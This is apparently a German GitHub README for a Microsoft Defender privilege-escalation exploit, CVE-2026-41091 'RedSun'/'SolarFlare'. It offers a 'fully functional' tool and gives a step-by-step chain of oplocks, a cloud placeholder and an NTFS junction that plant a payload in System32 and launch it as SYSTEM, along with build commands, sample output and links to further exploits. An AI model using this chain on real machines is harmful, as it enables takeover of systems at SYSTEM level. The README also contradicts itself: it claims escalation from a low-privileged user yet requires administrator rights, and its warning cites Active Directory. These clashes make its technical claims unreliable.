tc4dy/cve-2026-41091-poc-exploitCVE-2026-41091 RedSun | Microsoft-Defender-LPE-Exploit. Niedrigprivilegierte Benutzer erlangen NT AUTHORITY\SYSTEM 🔥 über Cloud Files API + NTFS-Junction-Tricks. Zwingt Defender, schädliche Payloads mit SYSTEM-Rechten nach System32 zu schreiben. ⚠️ Aktiv in freier Wildbahn ausgenutzt. CVSS 7.8. Patch: Defender Engine 1.1.26040.8. 🛡️ Nur zu Bildungszwecken (PoC).
# CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit Toolkit
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Rechtlicher Hinweis & verantwortungsvolle Nutzung
**Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests bereitgestellt.**
Die Autoren und Mitwirkenden sind nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch diese Software verursacht wird. Die Nutzer sind allein dafür verantwortlich, sicherzustellen, dass sie vor dem Testen eine ausdrückliche schriftliche Genehmigung des Eigentümers des Zielsystems besitzen. Unbefugter Zugriff auf Computersysteme ist nach geltendem Bundes-, Landes- und internationalem Cyberkriminalitätsrecht illegal.
Durch die Nutzung dieser Software erklären Sie sich damit einverstanden:
- Sie nur auf Systemen zu verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung besitzen.
- Alle geltenden lokalen, Landes- und Bundesgesetze einzuhalten.
- Sie nicht für böswillige, zerstörerische oder illegale Aktivitäten zu verwenden.
> [!] **WARNUNG:** Schwachstellen zur Rechteausweitung in Active Directory stellen ein hohes Risiko für Unternehmensinfrastrukturen dar. Unbefugtes Testen ist strengstens untersagt.
> **Microsoft Defender Link-Following-Schwachstelle** - Lokale Rechteausweitung zu NT AUTHORITY\SYSTEM
### Die Schwachstelle ist als „RedSun" bekannt, „SolarFlare" ist der Name, den ich meinem Exploit gegeben habe.
## [<] Überblick
Dieses Repository enthält einen **voll funktionsfähigen Proof of Concept (PoC)** für **CVE-2026-41091**, eine kritische Schwachstelle zur lokalen Rechteausweitung in Microsoft Defender (Microsoft Malware Protection Engine). Durch die Ausnutzung einer unsachgemäßen Linkauflösung (CWE-59) kann ein authentifizierter Angreifer mit geringen Rechten **NT AUTHORITY\SYSTEM**-Rechte erlangen.
Die Schwachstelle, auch bekannt als **„RedSun"** oder **„SolarFlare"**, ermöglicht es Angreifern, Microsoft Defender dazu zu verleiten, mithilfe der Cloud Files API (CfAPI) und NTFS-Junction-Points beliebige Dateien mit SYSTEM-Rechten in geschützte Systemverzeichnisse zu schreiben.
> **Hinweis:** Dieses Repository enthält zwei Versionen:
> - `basic_poc.cpp` - Vereinfachte Algorithmus-Demonstration (zu Lehrzwecken)
> - `full_poc.cpp` - Vollständiger funktionsfähiger Exploit mit allen Funktionen
### [-<] Hauptfunktionen
| Kategorie | Funktion | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Ausnutzung** | Lokale Rechteausweitung zu SYSTEM | `[+]` | `[+]` |
| | Cloud Files API (CfAPI)-Integration | `[-]` | `[+]` |
| | Erstellung von Cloud-Platzhaltern | `[-]` | `[+]` |
| | NTFS-Junction-Umleitung | `[~]` | `[+]` |
| | COM-Dienstaktivierung | `[-]` | `[+]` |
| **Techniken** | Batch-Oplock-Missbrauch | `[+]` | `[+]` |
| | VSS-Snapshot-Erkennung | `[+]` | `[+]` |
| | EICAR-Trigger | `[+]` | `[+]` |
| | NTFS-Reparse-Point (Mount Point) | `[+]` | `[+]` |
| | Datei-Disposition (NtSetInformationFile) | `[-]` | `[+]` |
| | Named-Pipe-Session-ID-Erkennung | `[-]` | `[+]` |
| | Start der Konsolensitzung (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | SYSTEM-Verifizierung | `[-]` | `[+]` |
| **Ziel** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | Nur x64 | `[+]` | `[+]` |
| **Benutzerfreundlichkeit** | Strukturiertes Logging | `[~]` | `[+]` |
| | Fehlerbehandlung | `[~]` | `[+]` |
| | Zufällige Verzeichnisnamen | `[+]` | `[+]` |
| | Automatische Bereinigung | `[~]` | `[+]` |
| | Wiederholungslogik (NtCreateFile) | `[-]` | `[+]` |
## [i] Schwachstellendetails
| Attribut | Wert |
|-----------|-------|
| **CVE-ID** | CVE-2026-41091 |
| **CVSS-Score** | 7.8 (Hoch) |
| **CVSS-Vektor** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Angriffsvektor** | Lokal |
| **Erforderliche Berechtigungen** | Niedrig |
| **Benutzerinteraktion** | Keine |
| **Auswirkung** | Codeausführung auf SYSTEM-Ebene |
| **CISA KEV** | [+] Ja (aktiv in freier Wildbahn ausgenutzt) |
| **Patch verfügbar** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Betroffene Produkte
| Produkt | Betroffene Versionen | Behobene Versionen |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Exploit-Kette
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Installation
### Voraussetzungen
- Windows 10/11 oder Windows Server 2019/2022
- Visual Studio 2019/2022 mit C++-Tools
- Administratorrechte (für die Ausführung)
### Build
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Verwendung
### Vollständlicher Exploit (SYSTEM-Rechteausweitung)
```bash
full_poc.exe
```
### Demonstration des Basisalgorithmus
```bash
basic_poc.exe
```
## [i] Beispielausgabe
### Vollständige Exploit-Ausgabe
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Grundlegende PoC-Ausgabe
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Build-Anweisungen
### Verwendung von Visual Studio
1. Developer Command Prompt für VS 2022 öffnen
2. Zum Exploit-Verzeichnis navigieren
3. Ausführen:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Verwendung von CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Voraussetzungen & Einschränkungen
| Voraussetzung | Details |
|-------------|---------|
| **Betriebssystem** | Windows 10/11, Server 2019/2022 |
| **Berechtigungen** | Administratorrechte (für die Ausführung) |
| **Defender** | Microsoft Defender muss aktiviert sein |
| **Internet** | Erforderlich für die Erkennung von VSS-Snapshots |
| **Patch** | Funktioniert nur auf ungepatchten Systemen |
| **Architektur** | Nur x64 |
## Verwandte Exploits
Sieh dir meine anderen Exploit-Repositories an:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - GNU inetutils-telnetd Auth-Bypass
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - cPanel/WHM Authentication-Bypass-Exploit
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Android ADB Wireless Debugging Auth-Bypass